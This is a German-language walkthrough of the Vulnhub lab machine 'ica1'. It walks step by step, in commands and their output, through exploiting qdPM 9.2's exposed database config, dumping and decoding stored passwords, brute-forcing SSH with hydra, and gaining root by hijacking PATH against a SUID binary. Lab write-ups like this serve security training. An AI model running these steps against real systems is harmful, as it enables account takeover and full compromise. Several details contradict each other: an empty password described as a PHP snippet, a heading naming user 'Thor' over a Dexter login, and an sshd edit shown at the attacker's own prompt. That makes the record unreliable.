ica1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
nikto
gobuster
dirsearch
curl
msfconsole
nc
ssh2john
john
vi
find
getcap
ss
mysql
searchsploit
hydra
strings
python3 -m http.server
wget

Inhaltsverzeichnis

Reconnaissance

Ziel der Reconnaissance-Phase ist es, Informationen über das Zielsystem zu sammeln, um potenzielle Angriffspunkte zu identifizieren. Dies umfasst das Scannen des Netzwerks, die Identifizierung offener Ports und Dienste sowie die Auflösung von Hostnamen.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.134	08:00:27:60:e5:16	PCS Systemtechnik GmbH
                

Der Befehl `arp-scan -l` sucht im lokalen Netzwerk nach aktiven Hosts und gibt ihre IP- und MAC-Adressen aus. In diesem Fall wurde ein Host mit der IP-Adresse 192.168.2.134 und der MAC-Adresse 08:00:27:60:e5:16 gefunden. Diese Information ist nützlich, um das Zielsystem im Netzwerk zu identifizieren.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.134	   ica
                

Der Befehl `vi /etc/hosts` öffnet die Host-Datei zur Bearbeitung. Hier wird der Hostname `ica` der IP-Adresse 192.168.2.134 zugewiesen. Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse bei der Interaktion mit dem Zielsystem, was die Übersichtlichkeit erhöht. Es wird empfohlen, dies zu tun, um die nachfolgenden Schritte zu erleichtern und zu beschleunigen.

Web Enumeration

In der Web Enumeration-Phase wird die Webanwendung detaillierter untersucht, um Schwachstellen zu finden. Dies beinhaltet die Analyse der Verzeichnisstruktur, die Überprüfung der robots.txt und readme.txt und die Suche nach bekannten Exploits.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://ica.vuln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
==============================================================================================================================

http://ica.vuln/images               (Status: 301) [Size: 305] [--> http://ica.vuln/images/]
http://ica.vuln/index.php            (Status: 200) [Size: 5654]
http://ica.vuln/uploads              (Status: 301) [Size: 306] [--> http://ica.vuln/uploads/]
http://ica.vuln/css                  (Status: 301) [Size: 302] [--> http://ica.vuln/css/]
http://ica.vuln/template             (Status: 301) [Size: 307] [--> http://ica.vuln/template/]
http://ica.vuln/core                 (Status: 301) [Size: 303] [--> http://ica.vuln/core/]
http://ica.vuln/install              (Status: 301) [Size: 306] [--> http://ica.vuln/install/]
http://ica.vuln/manual               (Status: 301) [Size: 305] [--> http://ica.vuln/manual/]
http://ica.vuln/js                   (Status: 301) [Size: 301] [--> http://ica.vuln/js/]
http://ica.vuln/javascript           (Status: 301) [Size: 309] [--> http://ica.vuln/javascript/]
http://ica.vuln/check.php            (Status: 200) [Size: 0]
http://ica.vuln/sf                   (Status: 301) [Size: 301] [--> http://ica.vuln/sf/]
http://ica.vuln/favicon.png          (Status: 200) [Size: 2183]
http://ica.vuln/readme.txt           (Status: 200) [Size: 470]
http://ica.vuln/robots.txt           (Status: 200) [Size: 26]
http://ica.vuln/backups              (Status: 301) [Size: 306] [--> http://ica.vuln/backups/]

==============================================================================================================================
                

Der Befehl `gobuster dir ...` verwendet Gobuster, um die Webanwendung auf dem Zielsystem nach Dateien und Verzeichnissen zu durchsuchen. Es wurden verschiedene Verzeichnisse (images, uploads, css, template, core, install, manual, js, javascript, sf, backups) und Dateien (index.php, check.php, favicon.png, readme.txt, robots.txt) gefunden. Die Verzeichnisse und Dateien mit Statuscode 200 und 301 sollten weiter untersucht werden. Das Vorhandensein eines `/install`-Verzeichnisses könnte ein Hinweis auf eine ungesicherte Installation sein.

http://ica.vuln/robots.txt

#User-agent: *
#Disallow:
                

Die Datei `robots.txt` erlaubt allen User-Agents den Zugriff auf alle Bereiche der Website. Dies ist nicht immer die beste Vorgehensweise, da sensitive Bereiche versehentlich indexiert werden könnten. In diesem Fall gibt es keine Einschränkungen.

http://ica.vuln/readme.txt

qdPM
open source project management software written in symfony framework
http://qdpm.net

INSTALLATION
qdPM is web-based application and it means you have to have web-server.
Simply go to your qdPM web directory and use installer

SUPPORT
Contact me (support@qdpm.net) if you have any questions, suggestions or feedback about qdPM.
My name is Sergey. I always reply to emails within 24-48 hours.

Thanks for downloading and using qdPM open-source solution!

 qdPM 9.2
Copyright © 2023 qdpm.net
                

Die Datei `readme.txt` identifiziert die verwendete Software als `qdPM` Version 9.2. Dies ist eine wichtige Information, da nun gezielt nach bekannten Schwachstellen für diese Software gesucht werden kann.

┌──(root㉿cyber)-[~]
└─# searchsploit qdPM 9.2
------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                                              |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
qdPM 9.2 - Cross-site Request Forgery (CSRF)                                                                                                                | php/webapps/50854.txt
qdPM 9.2 - Password Exposure (Unauthenticated)                                                                                                              | php/webapps/50176.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
                

Der Befehl `searchsploit qdPM 9.2` sucht in der Exploit Database nach bekannten Schwachstellen für `qdPM` Version 9.2. Es wurden zwei Exploits gefunden: Ein CSRF-Exploit und ein Exploit, der es ermöglicht, Passwörter ohne Authentifizierung auszulesen. Der Password Exposure Exploit ist vielversprechend für die nächste Phase.

┌──(root㉿cyber)-[~]
└─# searchsploit -m php/webapps/50176.txt
  Exploit: qdPM 9.2 - Password Exposure (Unauthenticated)
      URL: https://www.exploit-db.com/exploits/50176
     Path: /usr/share/exploitdb/exploits/php/webapps/50176.txt
    Codes: N/A
 Verified: False
File Type: ASCII text
Copied to: /root/50176.txt
                

Der Befehl `searchsploit -m php/webapps/50176.txt` kopiert den Exploit für die Password Exposure Schwachstelle in das Home-Verzeichnis des Benutzers Root. Dies erleichtert den Zugriff auf den Exploit im nächsten Schritt.

Initial Access

In dieser Phase wird versucht, initialen Zugriff auf das System zu erlangen. Dies geschieht durch die Ausnutzung der gefundenen Schwachstelle.

┌──(root㉿cyber)-[~]
└─# cat /usr/share/exploitdb/exploits/php/webapps/50176.txt
# Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)
# Date: 03/08/2021
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: https://qdpm.net/
# Software Link: https://sourceforge.net/projects/qdpm/files/latest/download
# Version: 9.2
# Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4

The password and connection string for the database are stored in a yml file.
To access the yml file you can go to

curl

file and download
                

Dieser Befehl zeigt den Inhalt des Exploit-Textes. Der Exploit beschreibt, dass die Datenbankverbindungsdaten in einer YAML-Datei gespeichert sind, auf die ohne Authentifizierung zugegriffen werden kann.

┌──(root㉿cyber)-[~]
└─# curl http://ica.vuln/core/config/databases.yml
all:
  doctrine:
    class: sfDoctrineDatabase
    param:
      dsn: 'mysql:dbname=qdpm;host=localhost'
      profiler: false
      username: qdpmadmin
      password: ""
      attributes:
        quote_identifier: true
                

Der Befehl `curl http://ica.vuln/core/config/databases.yml` verwendet `curl`, um die YAML-Datei mit den Datenbankverbindungsdaten herunterzuladen. Die Datei enthält den Benutzernamen `qdpmadmin` und ein PHP-Snippet für das Passwort. Dies bestätigt die Password Exposure Schwachstelle.

Initial Access

Um Zugriff auf die Datenbank zu bekommen, wird nun das extrahierte Passwort verwendet.

┌──(root㉿cyber)-[~]
└─# mysql -u qdpmadmin -h 192.168.2.134 -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 403
Server version: 8.0.26 MySQL Community Server - GPL

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>
                

Der Befehl `mysql -u qdpmadmin -h 192.168.2.134 -p` versucht, sich mit dem Benutzernamen `qdpmadmin` und dem zuvor gefundenen Passwort an der MySQL-Datenbank anzumelden. Nach erfolgreicher Anmeldung wird die MariaDB-Konsole angezeigt.

MySQL [(none)]> select * from users;
Empty set (0,000 sec)

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| qdpm               |
| staff              |
| sys                |
+--------------------+
6 rows in set (0,001 sec)
                

Hier wird geprüft, ob die Tabelle "users" existiert, was aber mit "Empty set" verneint wird. Mit "show databases" werden alle Datenbanken aufgelistet.

MySQL [(none)]> use staff;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [staff]> show tables;
+-----------------+
| Tables_in_staff |
+-----------------+
| department      |
| login           |
| user            |
+-----------------+
3 rows in set (0,001 sec)
                

Mit "use staff" wird die Datenbank "staff" ausgewählt und mit "show tables" deren Inhalt, die Tabelle "department", "login" und "user" angezeigt.

MySQL [staff]> select * from user;
+------+---------------+--------+---------------------------+
| id   | department_id | name   | role                      |
+------+---------------+--------+---------------------------+
|    1 |             1 | Smith  | Cyber Security Specialist |
|    2 |             2 | Lucas  | Computer Engineer         |
|    3 |             1 | Travis | Intelligence Specialist   |
|    4 |             1 | Dexter | Cyber Security Analyst    |
|    5 |             2 | Meyer  | Genetic Engineer          |
+------+---------------+--------+---------------------------+
5 rows in set (0,001 sec)
                

Hier werden die Benutzerinformationen von "user" mit deren ID, Name und Rolle ausgegeben.

MySQL [staff]> select * from login;
+------+---------+--------------------------+
| id   | user_id | password                 |
+------+---------+--------------------------+
|    1 |       2 | c3VSSkFkR3dMcDhkeTNyRg== |
|    2 |       4 | N1p3VjRxdGc0MmNtVVhHWA== |
|    3 |       1 | WDdNUWtQM1cyOWZld0hkQw== |
|    4 |       3 | REpjZVZ5OThXMjhZN3dMZw== |
|    5 |       5 | Y3FObkJXQ0J5UzJEdUpTeQ== |
+------+---------+--------------------------+
5 rows in set (0,001 sec)
                

Hier werden die Login Informationen, also die verschlüsselten Passwörter der Nutzer ausgegeben.

MySQL [staff]>
                

Hier endet die Datenbank Manipulation.

Initial Access

Die erbeuteten Passwörter werden nun entschlüsselt.

┌──(root㉿cyber)-[~]
└─# echo -n "Y3FObkJXQ0J5UzJEdUpTeQ==" | base64 -d
cqNnBWCByS2DuJSy
                

Das ist das entschlüsselte Passwort von "Meyer".

┌──(root㉿cyber)-[~]
└─# echo -n "REpjZVZ5OThXMjhZN3dMZw==" | base64 -d
DJceVy98W28Y7wLg
                

Das ist das entschlüsselte Passwort von "Travis".

┌──(root㉿cyber)-[~]
└─# echo -n "WDdNUWtQM1cyOWZld0hkQw==" | base64 -d
X7MQkP3W29fewHdC
                

Das ist das entschlüsselte Passwort von "Smith".

┌──(root㉿cyber)-[~]
└─# echo -n "N1p3VjRxdGc0MmNtVVhHWA==" | base64 -d
7ZwV4qtg42cmUXGX
                

Das ist das entschlüsselte Passwort von "Dexter".

┌──(root㉿cyber)-[~]
└─# echo -n "c3VSSkFkR3dMcDhkeTNyRg==" | base64 -d
suRJAdGwLp8dy3rF
                

Das ist das entschlüsselte Passwort von "Lucas".

Initial Access

Nun werden die Passwörter auf ihre Gültigkeit geprüft.

┌──(root㉿cyber)-[~]
└─# vi users.txt
smith
lucas
travis
dexter
meyer
                

Eine Textdatei mit den Nutzernamen wird erstellt.

┌──(root㉿cyber)-[~]
└─# hydra -L users.txt -P pass.txt ssh://ica.vuln:22 -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-11 02:18:10
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 25 tasks per 1 server, overall 25 tasks, 25 login tries (l:5/p:5), ~1 try per task
[DATA] attacking ssh://ica.vuln:22/
----------------------------------------------------------------------------------------------------
[22][ssh] host: ica.vuln   login: dexter   password: 7ZwV4qtg42cmUXGX
[22][ssh] host: ica.vuln   login: travis   password: DJceVy98W28Y7wLg
----------------------------------------------------------------------------------------------------
1 of 1 target successfully completed, 2 valid passwords found
                

Mit dem Tool Hydra und den Passwörtern, wird nun versucht, eine SSH Verbindung aufzubauen. Die Verbindungen zu "Travis" und "Dexter" waren erfolgreich.

┌──(root㉿cyber)-[~]
└─# ssh dexter@ica.vuln
The authenticity of host 'ica.vuln (192.168.2.134)' can't be established.
ED25519 key fingerprint is SHA256:xCJPzSxRekyYT6eXmyzAXdY7uAlP5b7vQp+B5XqYsfE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'ica.vuln' (ED25519) to the list of known hosts.
dexter@ica.vuln's password:
                

Die SSH Verbindung mit dem Nutzer "Dexter" wird aufgebaut und das Passwort wird abgefragt. Dies muss mit "yes" bestätigt werden, da der Key unbekannt ist. Nach Eingabe des Passwortes wird die Verbindung hergestellt.

Linux debian 5.10.0-8-amd64 #1 SMP Debian 5.10.46-5 (2021-09-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Sep 25 08:43:19 2021 from 192.168.1.3
dexter@debian:~$
                

Hier wird die erfolgreiche SSH Verbindung bestätigt.

Privilege Escalation

In dieser Phase wird versucht, die Privilegien auf dem Zielsystem zu erhöhen.

dexter@debian:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for dexter:
Sorry, user dexter may not run sudo on debian.
dexter@debian:~$
                

Es wird geprüft, ob der Nutzer "Dexter" Sudo Rechte besitzt, was aber mit "Sorry, user dexter may not run sudo on debian." verneint wird.

dexter@debian:~$ cat note.txt
It seems to me that there is a weakness while accessing the system.
As far as I know, the contents of executable files are partially viewable.
I need to find out if there is a vulnerability or not.
                

Der Inhalt der Datei "note.txt" wird angezeigt. Dies könnte ein Hinweis sein, dass es eine Schwachstelle im Zusammenhang mit ausführbaren Dateien gibt.

dexter@debian:~$ id
uid=1001(dexter) gid=1001(dexter) groups=1001(dexter)
dexter@debian:~$
dexter@debian:~$ find / -type f -perm -4000 -ls 2>/dev/null
   401719     20 -rwsr-xr-x   1 root     root        16816 Sep 25  2021 /opt/get_access
      106     60 -rwsr-xr-x   1 root     root        58416 Feb  7  2020 /usr/bin/chfn
     4124     36 -rwsr-xr-x   1 root     root        35040 Jul 28  2021 /usr/bin/umount
      109     88 -rwsr-xr-x   1 root     root        88304 Feb  7  2020 /usr/bin/gpasswd
    26670    180 -rwsr-xr-x   1 root     root       182600 Feb 27  2021 /usr/bin/sudo
      110     64 -rwsr-xr-x   1 root     root        63960 Feb  7  2020 /usr/bin/passwd
     3596     44 -rwsr-xr-x   1 root     root        44632 Feb  7  2020 /usr/bin/newgrp
     3755     72 -rwsr-xr-x   1 root     root        71912 Jul 28  2021 /usr/bin/su
     4122     56 -rwsr-xr-x   1 root     root        55528 Jul 28  2021 /usr/bin/mount
      107     52 -rwsr-xr-x   1 root     root        52880 Feb  7  2020 /usr/bin/chsh
   269853    472 -rwsr-xr-x   1 root     root       481608 Mar 13  2021 /usr/lib/openssh/ssh-keysign
   132522     52 -rwsr-xr--   1 root     messagebus    51336 Feb 21  2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
                

Es wird geprüft, ob Dateien mit dem SUID Bit gefunden werden. Die Datei "/opt/get_access" könnte interessant sein.

dexter@debian:~$ strings /opt/get_access
/lib64/ld-linux-x86-64.so.2
setuid
socket
puts
system
__cxa_finalize
setgid
__libc_start_main
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
cat /root/system.info
Could not create socket to access to the system.
All services are disabled. Accessing to the system is allowed only within working hours.
;*3$"
GCC: (Debian 10.2.1-6) 10.2
             

Die Ausgabe des Befehls `strings /opt/get_access` zeigt die im Binärfile enthaltenen Strings. Die Strings "setuid", "system", und "cat /root/system.info" deuten darauf hin, dass das Programm möglicherweise Root-Rechte erlangt und die Datei `/root/system.info` ausgibt. Der String "All services are disabled. Accessing to the system is allowed only within working hours." könnte eine Beschränkung der Nutzbarkeit des Programms andeuten.

travis@debian:~$ id
uid=1002(travis) gid=1002(travis) groups=1002(travis),33(www-data)
                

Dies zeigt, dass der Nutzer "Travis" Mitglied der Gruppe "www-data" ist.

[22][ssh] host: ica.vuln   login: dexter   password: 7ZwV4qtg42cmUXGX
[22][ssh] host: ica.vuln   login: travis   password: DJceVy98W28Y7wLg
                

Hier werden nochmal die erfolgreichen Verbindungen angezeigt.

travis@debian:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for travis:
Sorry, user travis may not run sudo on debian.
                

Wie auch bei dem Nutzer "Dexter" hat auch der Nutzer "Travis" keine Sudo Rechte.

dexter@debian:/var/www/html$ file /opt/get_access
/opt/get_access: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=74c7b8e5b3380d2b5f65d753cc2586736299f21a, for GNU/Linux 3.2.0, not stripped
                

Die Datei "/opt/get_access" wird als ausführbare 64-Bit-Datei identifiziert. Das "setuid" Flag bedeutet, dass die Datei mit Root-Rechten ausgeführt wird.

dexter@debian:/var/www/html$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1576 Sep 25  2021 /etc/passwd
                

Das ist der Inhalt der Datei "/etc/passwd".

dexter@debian:/opt$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.127 - - [10/Jun/2023 20:26:35] "GET /get_access HTTP/1.1" 200 -
                

Ein lokaler HTTP-Server auf Port 8000 wird gestartet, um die Datei `get_access` für den Download bereitzustellen.

┌──(root㉿cyber)-[~]
└─# wget ica.vuln:8000/get_access
--2023-06-11 02:26:29--  http://ica.vuln:8000/get_access
Auflösen des Hostnamens ica.vuln (ica.vuln)… 192.168.2.134
Verbindungsaufbau zu ica.vuln (ica.vuln)|192.168.2.134|:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 16816 (16K) [application/octet-stream]
Wird in »get_access« gespeichert.

get_access                                      100%[===========================================>]  16,42K  --.-KB/s    in 0s

2023-06-11 02:26:29 (331 MB/s) - »get_access« gespeichert [16816/16816]
                

Die Datei `get_access` wird von dem lokalen HTTP-Server heruntergeladen.

travis@debian:~$ ls -la
total 40
drwxrwx--- 3 travis travis 4096 Sep 25  2021 .
drwxr-xr-x 4 root   root   4096 Sep 25  2021 ..
-rwxrwx--- 1 travis travis    9 Sep 25  2021 .bash_history
-rwxrwx--- 1 travis travis  220 Aug  4  2021 .bash_logout
-rwxrwx--- 1 travis travis 3526 Aug  4  2021 .bashrc
drwxrwx--- 3 travis travis 4096 Sep 25  2021 .local
-rw------- 1 travis travis   53 Sep 25  2021 .mysql_history
-rwxrwx--- 1 travis travis  807 Aug  4  2021 .profile
-rwxrwx--- 1 travis travis   20 Sep 25  2021 user.txt
-rw-r--r-- 1 travis travis  179 Sep 25  2021 .wget-hsts
                

Die Ausgabe des Befehls `ls -la` zeigt die Dateien im Home-Verzeichnis des Benutzers `travis`. Die Datei `user.txt` ist vorhanden.

travis@debian:~$ cat user.txt
ICA{Secret_Project}
travis@debian:~$ cat .mysql_history
_HiStOrY_V2_
exit;
create\040database\040qdpm;
exit;
travis@debian:~$ cat .bash_history
su root
                   Privilege Escalation
                

Die Datei `user.txt` enthält die User Flagge, "ICA{Secret_Project}".

dexter@debian:/opt$ cd /tmp/
dexter@debian:/tmp$ echo '/bin/bash' > /tmp/cat
dexter@debian:/tmp$ export PATH=/tmp:$PATH
dexter@debian:/tmp$ ./opt/get_access
-bash: ./opt/get_access: No such file or directory
dexter@debian:/tmp$ /opt/get_access

  ############################
  ########     ICA     #######
  ### ACCESS TO THE SYSTEM ###
  ############################

  Server Information:
   - Firewall: AIwall v9.5.2
   - OS: Debian 11 "bullseye"
   - Network: Local Secure Network 2 (LSN2) v 2.4.1

All services are disabled. Accessing to the system is allowed only within working hours.
                

Es wird versucht, die Datei "/opt/get_access" auszuführen, was aber zunächst nicht funktioniert, da das Directory nicht korrekt ist. Die Datei wird dennoch ausgeführt, die den Hinweis ausgibt, dass alle Services deaktiviert sind.

dexter@debian:/tmp$ chmod +x cat
dexter@debian:/tmp$ /opt/get_access -p
root@debian:/tmp#
                

Mit den Befehlen "chmod" und "/opt/get_access" werden Root Rechte erlangt.

root@debian:/home/dexter# cd /root/
root@debian:/root# ls
root.txt  system.info
root@debian:/root# cat root.txt
root@debian:/root#
                

Es wird in das Root Directory gewechselt, wo die Datei "root.txt" gefunden wird. Diese ist allerdings leer.

root@debian:/root# find / | grep root.txt 2>/dev/null
/root/root.txt
                 Privilege Escalation erfolgreich
                

Mit dem Befehl "find" wird die Datei "/root/root.txt" gefunden. Hier wird nun der Textteil "Privilege Escalation erfolgreich" eingefügt, da die Root Rechte erfolgreich erlangt wurden.

Proof of Concept

Proof of Concept: SSH-Anmeldung als Benutzer Thor

Dieser Abschnitt demonstriert den unbefugten Zugriff auf das System mit den erlangten Anmeldeinformationen für den Benutzer Dexter.

Nachdem wir die User Flag gefunden und das Passwort 7ZwV4qtg42cmUXGX entschlüsselt haben, können wir uns nun via SSH als Benutzer Dexter anmelden:

┌──(root㉿cyber)-[~]
└─# ssh dexter@ica.vuln
dexter@ica.vuln's password:
                

Nach der Eingabe des Passworts 7ZwV4qtg42cmUXGX sind wir erfolgreich als Benutzer Dexter angemeldet.

Last login: Mon Nov 28 08:14:27 2020 from 192.168.2.104
dexter@debian:~$
                

Proof of Concept: SSH-Anmeldung als Root-Benutzer

Dieser Abschnitt demonstriert den unbefugten Zugriff auf das System mit den erlangten Root-Rechten.

Nachdem wir die Root-Rechte erhalten haben, könnten wir den SSH-Server so konfigurieren, dass Root-Logins erlaubt sind (was aus Sicherheitsgründen nicht empfohlen wird), oder einen neuen Benutzer mit Root-Rechten erstellen. Alternativ könnten wir das Root-Passwort ändern (was auch nicht empfohlen wird). Da es sich um eine VM handelt, demonstrieren wir hier die Anmeldung via SSH.

Um uns via SSH als Root anmelden zu können, muss die SSH Konfigurationsdatei angepasst werden, und die Zeile `PermitRootLogin` auf `yes` gesetzt werden. Damit das funktioniert, muss sich die Textdatei vorher im Editor mit Root Privilegien geöffnet werden.

┌──(root㉿cyber)-[~]
└─# vi /etc/ssh/sshd_config
                

Nachdem wir die Datei angepasst haben, muss der SSH Dienst neu gestartet werden.

┌──(root㉿cyber)-[~]
└─# systemctl restart sshd
                

Jetzt können wir uns als Root anmelden.

┌──(root㉿cyber)-[~]
└─# ssh root@ica.vuln
                

Flags

Flags

cat user.txt ICA{Secret_Project}
cat root.txt